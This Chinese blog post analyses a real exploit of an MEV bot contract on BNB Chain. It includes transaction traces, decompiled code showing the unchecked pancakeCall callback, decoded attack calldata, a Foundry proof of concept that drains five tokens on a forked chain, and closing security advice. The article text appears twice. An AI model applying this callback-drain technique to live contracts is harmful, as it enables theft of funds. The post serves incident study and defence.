MEVBot 攻击事件分析

Lori
更新于 2024-03-08 17:43
阅读 314

通过对 MEVBot 攻击事件进一步分析来理解如何利用 calldata 进行攻击

## 前言

通过破解 [ethernaut-Switch](https://learnblockchain.cn/article/7539)，我对 Calldata 编码有了初步的理解，现实生活中也有利用 calldata 进行攻击的事件，我将跟随[教程](https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/academy/onchain_debug/04_write_your_own_poc/readme.md)分析 MEV Bot (BNB48) 攻击事件，这个攻击总体来说并不复杂，我会将分析思路详细地记录下来，同时使用 foundry 框架进行测试。

# 攻击过程分析

## 基本信息

- 可参考的链接：[phalcon](https://phalcon.blocksec.com/tx/bsc/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2?line=2)
- 攻击基本信息

```
  @KeyInfo - Total Lost : ~36,044 US$
  Attack Tx: https://bscscan.com/tx/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2
  Attacker Address(EOA): 0xee286554f8b315f0560a15b6f085ddad616d0601
  Attack Contract Address: 0x5cb11ce550a2e6c24ebfc8df86c5757b596e69c1
  Vulnerable Address: 0x64dd59d6c7f09dc05b472ce5cb961b6e10106e1d (mev)
  Total Loss: ~ $140 000
  ```

- 文档中代币数量以 10\*\*18 为单位

## 攻击过程

首先，我们对此次攻击交易进行函数追踪，有两种方式，
1. 通过`cast run tx --quick --rpc-url https://rpc.ankr.com/bsc` 来追踪函数，

```
root@ChocolatierThi:~/ContractSafetyStudy# cast run 0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2 --quick --rpc-url https://rpc.ankr.com/bsc
Traces:
  [311693] 0x5cB11ce550a2E6c24EBFC8DF86C5757b596e69c1::bbb()
    ├─ [2531] 0x55d398326f99059fF775485246999027B3197955::balanceOf(0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d) [staticcall]
    │   └─ ← 0x00000000000000000000000000000000000000000000057cbe656f5e0c7507f9
    ├─ [41915] 0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d::pancakeCall(0x5cB11ce550a2E6c24EBFC8DF86C5757b596e69c1, 25912948173777791158265 [2.591e22], 0, 0x000000000000000000000000ee286554f8b315f0560a15b6f085ddad616d060100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
    │   ├─ [522] 0x5cB11ce550a2E6c24EBFC8DF86C5757b596e69c1::token0() [staticcall]
    │   │   └─ ← 0x00000000000000000000000055d398326f99059ff775485246999027b3197955
    │   ├─ [27971] 0x55d398326f99059fF775485246999027B3197955::transfer(0xEE286554F8b315F0560A15b6f085dDad616D0601, 25912948173777791158265 [2.591e22])
    │   │   ├─ emit Transfer(param0: 0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d, param1: 0xEE286554F8b315F0560A15b6f085dDad616D0601, param2: 25912948173777791158265 [2.591e22])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [0] 0xEE286554F8b315F0560A15b6f085dDad616D0601::swap(0, 0, 0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d, 0x)
    │   │   └─ ← ()
    │   ├─ [566] 0x5cB11ce550a2E6c24EBFC8DF86C5757b596e69c1::token1() [staticcall]
    │   │   └─ ← 0x00000000000000000000000055d398326f99059ff775485246999027b3197955
    │   ├─ [5271] 0x55d398326f99059fF775485246999027B3197955::transfer(0x5cB11ce550a2E6c24EBFC8DF86C5757b596e69c1, 0)
    │   │   ├─ emit Transfer(param0: 0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d, param1: 0x5cB11ce550a2E6c24EBFC8DF86C5757b596e69c1, param2: 0)
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [3271] 0x55d398326f99059fF775485246999027B3197955::transfer(0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d, 0)
    │   │   ├─ emit Transfer(param0: 0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d, param1: 0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d, param2: 0)
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   └─ ← ()
    |    ... ... 
```

2. 通过使用 [phalcon](https://phalcon.blocksec.com/explorer/tx/bsc/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2) 来查看攻击交易的函数调用，![MEVBot(BNB484)-call-1.png](https://img.learnblockchain.cn/attachments/2024/03/ebOzW0xh65eacf606e872.png)
发现调用了 6 次`pancakeCall`，分别是 BSC-USD、WBNB、BUSD、USDC、BTCB、ETH，我们对其中一次进行展开，可以发现在调用`pancakeCall(_sender,_amount0,_amount1,_data)`时都进行了转账，向 Attacker Address 赚了\_amount0 数额的代币，我们找着了漏洞存在 Vulnerable Address 的`pancakeCall`函数里。
我们在[BscScan](https://bscscan.com/address/0x64dd59d6c7f09dc05b472ce5cb961b6e10106e1d#code)查看受害合约，发现未开源，使用反编译工具解析 Dedaub 解析被攻击合约，解析出来的没有`pancakeCall`，在`function_selector`这块看到了 pancakeCall 的函数选择器，我发现最后都会执行一个` 0x10a` 的函数，我采取了和教程一样的步骤，暂时未找到反编译结果不一样是由什么导致的。

![MEVBot(BNB484)-dedaub.png](https://img.learnblockchain.cn/attachments/2024/03/eyEkVQTS65eacfaa0aa74.png)

![MEVBot(BNB484)-function_selector.png](https://img.learnblockchain.cn/attachments/2024/03/C69rWcfU65ead01175616.png)
以下是教程里边所解析出的`pancakeCall`函数， 可以看到该函数并未对 msg.ender 进行校验，任何人都能调用,
```
function pancakeCall(address varg0, uint256 varg1, uint256 varg2， bytes varg3) public nonPayable {
    require(msg.data.length-4>=128);
    require(varg0 == varg0);
    require(varg3<= 0xffffffffffffffff);
    require(4 + varg3 + 31< msg.data.length);
    require(varg3.length<= xffffffffffffffff);
    require(4 + varg3 + varg3.length + 32<= msg.data.length);
    v0 = new bytes[](varg3.length);
    CALLDATACOPY(v0.data, varg3.data, varg3.length);
    v0[varg3.length] = 0;
@>  0x10a(v0, varg2, varg1);
}
```
1. 该函数接受四个参数：address varg0, uint256 varg1, uint256 varg2， bytes varg3（附加数据），根据 Pancake协议对`pancakeCall`的定义，我们可以推断出这几个参数分别代表_sender（发送者地址）、_amount0 和 _amount1（两种代币的数量）、_data（附加数据）
2. require 语句用于检查传入的参数是否符合某些条件，主要是检查msg.data和varg3 是否符合特定的长度要求。
3. 通过CALLDATACOPY函数将 varg3 复制到一个新的bytes数组 v0 中，并将数组中的最后一个字节设置为0。
4. 调用0x10a函数，该函数接收三个参数：bytes varg0, uint256 varg1, uint256 varg2。

接下来我们看看函数 0x10a的实现，以下由这三个`transfer`函数，后两个函数的地址分别转给`msg.sender`和 合约本身，根据 [phalcon](https://phalcon.blocksec.com/explorer/tx/bsc/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2)，我们可以看到真正造成攻击的是第一个` transfer `函数。
```
function 0x10a(bytes varg0, uint256 varg1, uint256 varg2) private {
    require(varg0.data + varg0.length - varg0.data >= 96);
    require(MEM[varg0.data] == address(MEM[varg0.data]));
    v0 = v1 = varg0[64];
    if (0 == varg2) {
        v2, /* address */ v3 = msg.sender.token1().gas(msg.gas);
        require(bool(v2), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
        require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
        require(v3 == address(v3));
    } else {
        v4, /* address */ v3 = msg.sender.token0().gas(msg.gas);
        require(bool(v4), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
        require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
        require(v3 == address(v3));
    }
    if (varg2) {
    }
--> v5, /* bool */ v6 = address(v3).transfer(address(MEM[varg0.data]), varg1).gas(msg.gas);
    ...
--> v36, /* bool */ v37 = address(v34).transfer(msg.sender, varg0[32][32]).gas(msg.gas);
    require(bool(v36), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
    require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
    require(v37 == bool(v37));
    v38 = _SafeSub(v1, varg0[32][32]);
--> v39, /* bool */ v40 = address(v34).transfer(address(this), v38).gas(msg.gas);
    require(bool(v39), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
    require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
    require(v40 == bool(v40));
    return ;
}
```
我们可以看到，
1. `v4, /* address */ v3 = msg.sender.token0().gas(msg.gas);`：此时msg.sender对应的是攻击合约，攻击合约需要实现token0()，
2. `v5, /* bool */ v6 = address(v3).transfer(address(MEM[varg0.data]), varg1).gas(msg.gas);`：该函数收款地址是通过读取`MEM[varg0.data]`获得的，而 varg0.data 的值是通过在`pancakeCall(address varg0, uint256 varg1, uint256 varg2， bytes varg3)`中的 varg3 复制得到的。

也就是说，我们可以通过调用`pancakeCall`在 varg3 输入攻击者地址来控制转账。

接着，我们反过来看攻击合约调用`pancakeCall`传入的calldata信息，调用 cast pretty calldata 输出结果如下：
```
Possible methods:
 - pancakeCall(address,uint256,uint256,bytes)
 - reservePresaleListIn(bytes)
 ------------
 [000]: 0000000000000000000000005cb11ce550a2e6c24ebfc8df86c5757b596e69c1 // varg0
 [020]: 00000000000000000000000000000000000000000000057cbe656f5e0c7507f9 // varg1
 [040]: 0000000000000000000000000000000000000000000000000000000000000000 // varg2
 [060]: 0000000000000000000000000000000000000000000000000000000000000080 // varg3的偏移
 [080]: 0000000000000000000000000000000000000000000000000000000000000060 // varg3的长度
 [0a0]: 000000000000000000000000ee286554f8b315f0560a15b6f085ddad616d0601 // varg3
 [0c0]: 0000000000000000000000000000000000000000000000000000000000000000
 [0e0]: 0000000000000000000000000000000000000000000000000000000000000000
```
我们可以看到，攻击合约调用的 `pancakeCall` 时，将攻击账户EOA的地址作为参数3传入了。

## PoC
对此次攻击复现，PoC如下：
```
contract MEVBotPoC is Test { // 模拟攻击
    address internal _token0;
    address internal _token1;
    function setUp() public {
        vm.createSelectFork("bsc", 21_297_409);
    }

function testAttack() public {
        console.log("-------------------------------- Start MEVBot(BNB484) Exploit ----------------------------------");
        console.log("Tx:0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2");
        console.log("Attacker Balance information: ");

emit log_named_decimal_uint("[Start] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[Start] Attacker WBNB balance before exploit", WBNB.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[Start] Attacker BUSD balance before exploit", BUSD.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[Start] Attacker USDC balance before exploit", USDC.balanceOf(address(this)), 18);

// 记录攻击前 bot 的balance,这也是我们攻击的目标金额
        uint256 USDTAmount = USDT.balanceOf(address(mevBot));
        uint256 WBNBAmount = WBNB.balanceOf(address(mevBot));
        uint256 BUSDAmount = BUSD.balanceOf(address(mevBot));
        uint256 USDCAmount = USDC.balanceOf(address(mevBot));
        uint256 BTCBAmount = BTCB.balanceOf(address(mevBot));

// 调用5次 BSC-USD、WBNB、BUSD、USDC、BTCB
        (_token0, _token1) = (address(USDT), address(USDT));
        mevBot.pancakeCall(address(this), USDTAmount, 0, abi.encodePacked(bytes32(uint256(uint160(address(this)))), bytes32(0), bytes32(0)));

(_token0, _token1) = (address(WBNB), address(WBNB));
        mevBot.pancakeCall(address(this), WBNBAmount, 0, abi.encodePacked(bytes32(uint256(uint160(address(this)))), bytes32(0), bytes32(0)));

(_token0, _token1) = (address(BUSD), address(BUSD));
        mevBot.pancakeCall(address(this), BUSDAmount, 0, abi.encodePacked(bytes32(uint256(uint160(address(this)))), bytes32(0), bytes32(0)));

(_token0, _token1) = (address(USDC), address(USDC));
        mevBot.pancakeCall(address(this), USDCAmount, 0, abi.encodePacked(bytes32(uint256(uint160(address(this)))), bytes32(0), bytes32(0)));
        
        (_token0, _token1) = (address(BTCB), address(BTCB));
        mevBot.pancakeCall(address(this), BTCBAmount, 0, abi.encodePacked(bytes32(uint256(uint160(address(this)))), bytes32(0), bytes32(0)));

emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[End] Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), 18);
    }

function token0() public view returns (address) {
        return _token0;
    }

function token1() public view returns (address) {
        return _token1;
    }

function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) public {}
}
```
# 安全建议

1. Call函数自由度过大，应谨慎使用作为底层函数，对于一些敏感操作或权限判断函数，不应轻易将合约自身的账户地址作为可信的地址。
2. 对传入的参数进行验证，确保传入的参数符合预期，防止恶意攻击者通过构造不合法的参数来执行恶意操作。
3. 使用权限控制机制，如访问控制列表（ACL）或角色based权限控制，来限制对其他合约函数的调用。

前言

通过破解 ethernaut-Switch，我对 Calldata 编码有了初步的理解，现实生活中也有利用 calldata 进行攻击的事件，我将跟随教程分析 MEV Bot (BNB48) 攻击事件，这个攻击总体来说并不复杂，我会将分析思路详细地记录下来，同时使用 foundry 框架进行测试。

攻击过程分析

基本信息

可参考的链接：phalcon

攻击基本信息

@KeyInfo - Total Lost : ~36,044 US$
Attack Tx: https://bscscan.com/tx/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2
Attacker Address(EOA): 0xee286554f8b315f0560a15b6f085ddad616d0601
Attack Contract Address: 0x5cb11ce550a2e6c24ebfc8df86c5757b596e69c1
Vulnerable Address: 0x64dd59d6c7f09dc05b472ce5cb961b6e10106e1d (mev)
Total Loss: ~ $140 000

文档中代币数量以 10**18 为单位

攻击过程

首先，我们对此次攻击交易进行函数追踪，有两种方式，

通过cast run tx --quick --rpc-url https://rpc.ankr.com/bsc 来追踪函数，

root@ChocolatierThi:~/ContractSafetyStudy# cast run 0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2 --quick --rpc-url https://rpc.ankr.com/bsc
Traces:
  [311693] 0x5cB11ce550a2E6c24EBFC8DF86C5757b596e69c1::bbb()
    ├─ [2531] 0x55d398326f99059fF775485246999027B3197955::balanceOf(0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d) [staticcall]
    │   └─ ← 0x00000000000000000000000000000000000000000000057cbe656f5e0c7507f9
    ├─ [41915] 0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d::pancakeCall(0x5cB11ce550a2E6c24EBFC8DF86C5757b596e69c1, 25912948173777791158265 [2.591e22], 0, 0x000000000000000000000000ee286554f8b315f0560a15b6f085ddad616d060100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
    │   ├─ [522] 0x5cB11ce550a2E6c24EBFC8DF86C5757b596e69c1::token0() [staticcall]
    │   │   └─ ← 0x00000000000000000000000055d398326f99059ff775485246999027b3197955
    │   ├─ [27971] 0x55d398326f99059fF775485246999027B3197955::transfer(0xEE286554F8b315F0560A15b6f085dDad616D0601, 25912948173777791158265 [2.591e22])
    │   │   ├─ emit Transfer(param0: 0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d, param1: 0xEE286554F8b315F0560A15b6f085dDad616D0601, param2: 25912948173777791158265 [2.591e22])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [0] 0xEE286554F8b315F0560A15b6f085dDad616D0601::swap(0, 0, 0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d, 0x)
    │   │   └─ ← ()
    │   ├─ [566] 0x5cB11ce550a2E6c24EBFC8DF86C5757b596e69c1::token1() [staticcall]
    │   │   └─ ← 0x00000000000000000000000055d398326f99059ff775485246999027b3197955
    │   ├─ [5271] 0x55d398326f99059fF775485246999027B3197955::transfer(0x5cB11ce550a2E6c24EBFC8DF86C5757b596e69c1, 0)
    │   │   ├─ emit Transfer(param0: 0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d, param1: 0x5cB11ce550a2E6c24EBFC8DF86C5757b596e69c1, param2: 0)
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [3271] 0x55d398326f99059fF775485246999027B3197955::transfer(0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d, 0)
    │   │   ├─ emit Transfer(param0: 0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d, param1: 0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d, param2: 0)
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   └─ ← ()
    |    ... ...

通过使用 phalcon 来查看攻击交易的函数调用，发现调用了 6 次pancakeCall，分别是 BSC-USD、WBNB、BUSD、USDC、BTCB、ETH，我们对其中一次进行展开，可以发现在调用pancakeCall(_sender,_amount0,_amount1,_data)时都进行了转账，向 Attacker Address 赚了_amount0 数额的代币，我们找着了漏洞存在 Vulnerable Address 的pancakeCall函数里。我们在BscScan查看受害合约，发现未开源，使用反编译工具解析 Dedaub 解析被攻击合约，解析出来的没有pancakeCall，在function_selector这块看到了 pancakeCall 的函数选择器，我发现最后都会执行一个0x10a 的函数，我采取了和教程一样的步骤，暂时未找到反编译结果不一样是由什么导致的。

以下是教程里边所解析出的pancakeCall函数，可以看到该函数并未对 msg.ender 进行校验，任何人都能调用,

function pancakeCall(address varg0, uint256 varg1, uint256 varg2， bytes varg3) public nonPayable {
    require(msg.data.length-4>=128);
    require(varg0 == varg0);
    require(varg3&lt;= 0xffffffffffffffff);
    require(4 + varg3 + 31&lt; msg.data.length);
    require(varg3.length&lt;= xffffffffffffffff);
    require(4 + varg3 + varg3.length + 32&lt;= msg.data.length);
    v0 = new bytes[](varg3.length);
    CALLDATACOPY(v0.data, varg3.data, varg3.length);
    v0[varg3.length] = 0;
@>  0x10a(v0, varg2, varg1);
}

该函数接受四个参数：address varg0, uint256 varg1, uint256 varg2， bytes varg3（附加数据），根据 Pancake协议对pancakeCall的定义，我们可以推断出这几个参数分别代表_sender（发送者地址）、_amount0 和 _amount1（两种代币的数量）、_data（附加数据）
require 语句用于检查传入的参数是否符合某些条件，主要是检查msg.data和varg3 是否符合特定的长度要求。
通过CALLDATACOPY函数将 varg3 复制到一个新的bytes数组 v0 中，并将数组中的最后一个字节设置为0。
调用0x10a函数，该函数接收三个参数：bytes varg0, uint256 varg1, uint256 varg2。

接下来我们看看函数 0x10a的实现，以下由这三个transfer函数，后两个函数的地址分别转给msg.sender和合约本身，根据 phalcon，我们可以看到真正造成攻击的是第一个transfer函数。

function 0x10a(bytes varg0, uint256 varg1, uint256 varg2) private {
    require(varg0.data + varg0.length - varg0.data >= 96);
    require(MEM[varg0.data] == address(MEM[varg0.data]));
    v0 = v1 = varg0[64];
    if (0 == varg2) {
        v2, /* address */ v3 = msg.sender.token1().gas(msg.gas);
        require(bool(v2), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
        require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
        require(v3 == address(v3));
    } else {
        v4, /* address */ v3 = msg.sender.token0().gas(msg.gas);
        require(bool(v4), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
        require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
        require(v3 == address(v3));
    }
    if (varg2) {
    }
--> v5, /* bool */ v6 = address(v3).transfer(address(MEM[varg0.data]), varg1).gas(msg.gas);
    ...
--> v36, /* bool */ v37 = address(v34).transfer(msg.sender, varg0[32][32]).gas(msg.gas);
    require(bool(v36), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
    require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
    require(v37 == bool(v37));
    v38 = _SafeSub(v1, varg0[32][32]);
--> v39, /* bool */ v40 = address(v34).transfer(address(this), v38).gas(msg.gas);
    require(bool(v39), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
    require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
    require(v40 == bool(v40));
    return ;
}

我们可以看到，

v4, /* address */ v3 = msg.sender.token0().gas(msg.gas);：此时msg.sender对应的是攻击合约，攻击合约需要实现token0()，
v5, /* bool */ v6 = address(v3).transfer(address(MEM[varg0.data]), varg1).gas(msg.gas);：该函数收款地址是通过读取MEM[varg0.data]获得的，而 varg0.data 的值是通过在pancakeCall(address varg0, uint256 varg1, uint256 varg2， bytes varg3)中的 varg3 复制得到的。

也就是说，我们可以通过调用pancakeCall在 varg3 输入攻击者地址来控制转账。

接着，我们反过来看攻击合约调用pancakeCall传入的calldata信息，调用 cast pretty calldata 输出结果如下：

Possible methods:
 - pancakeCall(address,uint256,uint256,bytes)
 - reservePresaleListIn(bytes)
 ------------
 [000]: 0000000000000000000000005cb11ce550a2e6c24ebfc8df86c5757b596e69c1 // varg0
 [020]: 00000000000000000000000000000000000000000000057cbe656f5e0c7507f9 // varg1
 [040]: 0000000000000000000000000000000000000000000000000000000000000000 // varg2
 [060]: 0000000000000000000000000000000000000000000000000000000000000080 // varg3的偏移
 [080]: 0000000000000000000000000000000000000000000000000000000000000060 // varg3的长度
 [0a0]: 000000000000000000000000ee286554f8b315f0560a15b6f085ddad616d0601 // varg3
 [0c0]: 0000000000000000000000000000000000000000000000000000000000000000
 [0e0]: 0000000000000000000000000000000000000000000000000000000000000000

我们可以看到，攻击合约调用的 pancakeCall 时，将攻击账户EOA的地址作为参数3传入了。

PoC

对此次攻击复现，PoC如下：

contract MEVBotPoC is Test { // 模拟攻击
    address internal _token0;
    address internal _token1;
    function setUp() public {
        vm.createSelectFork("bsc", 21_297_409);
    }

    function testAttack() public {
        console.log("-------------------------------- Start MEVBot(BNB484) Exploit ----------------------------------");
        console.log("Tx:0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2");
        console.log("Attacker Balance information: ");

        emit log_named_decimal_uint("[Start] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[Start] Attacker WBNB balance before exploit", WBNB.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[Start] Attacker BUSD balance before exploit", BUSD.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[Start] Attacker USDC balance before exploit", USDC.balanceOf(address(this)), 18);

        // 记录攻击前 bot 的balance,这也是我们攻击的目标金额
        uint256 USDTAmount = USDT.balanceOf(address(mevBot));
        uint256 WBNBAmount = WBNB.balanceOf(address(mevBot));
        uint256 BUSDAmount = BUSD.balanceOf(address(mevBot));
        uint256 USDCAmount = USDC.balanceOf(address(mevBot));
        uint256 BTCBAmount = BTCB.balanceOf(address(mevBot));

        // 调用5次 BSC-USD、WBNB、BUSD、USDC、BTCB
        (_token0, _token1) = (address(USDT), address(USDT));
        mevBot.pancakeCall(address(this), USDTAmount, 0, abi.encodePacked(bytes32(uint256(uint160(address(this)))), bytes32(0), bytes32(0)));

        (_token0, _token1) = (address(WBNB), address(WBNB));
        mevBot.pancakeCall(address(this), WBNBAmount, 0, abi.encodePacked(bytes32(uint256(uint160(address(this)))), bytes32(0), bytes32(0)));

        (_token0, _token1) = (address(BUSD), address(BUSD));
        mevBot.pancakeCall(address(this), BUSDAmount, 0, abi.encodePacked(bytes32(uint256(uint160(address(this)))), bytes32(0), bytes32(0)));

        (_token0, _token1) = (address(USDC), address(USDC));
        mevBot.pancakeCall(address(this), USDCAmount, 0, abi.encodePacked(bytes32(uint256(uint160(address(this)))), bytes32(0), bytes32(0)));

        (_token0, _token1) = (address(BTCB), address(BTCB));
        mevBot.pancakeCall(address(this), BTCBAmount, 0, abi.encodePacked(bytes32(uint256(uint160(address(this)))), bytes32(0), bytes32(0)));

        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[End] Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), 18);
    }

    function token0() public view returns (address) {
        return _token0;
    }

    function token1() public view returns (address) {
        return _token1;
    }

    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) public {}
}

安全建议

Call函数自由度过大，应谨慎使用作为底层函数，对于一些敏感操作或权限判断函数，不应轻易将合约自身的账户地址作为可信的地址。
对传入的参数进行验证，确保传入的参数符合预期，防止恶意攻击者通过构造不合法的参数来执行恶意操作。
使用权限控制机制，如访问控制列表（ACL）或角色based权限控制，来限制对其他合约函数的调用。

原创
学分: 9
分类: 安全
标签: 攻击事件分析 Calldata

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MEVBot 攻击事件分析

前言

攻击过程分析

基本信息

攻击过程

PoC

安全建议

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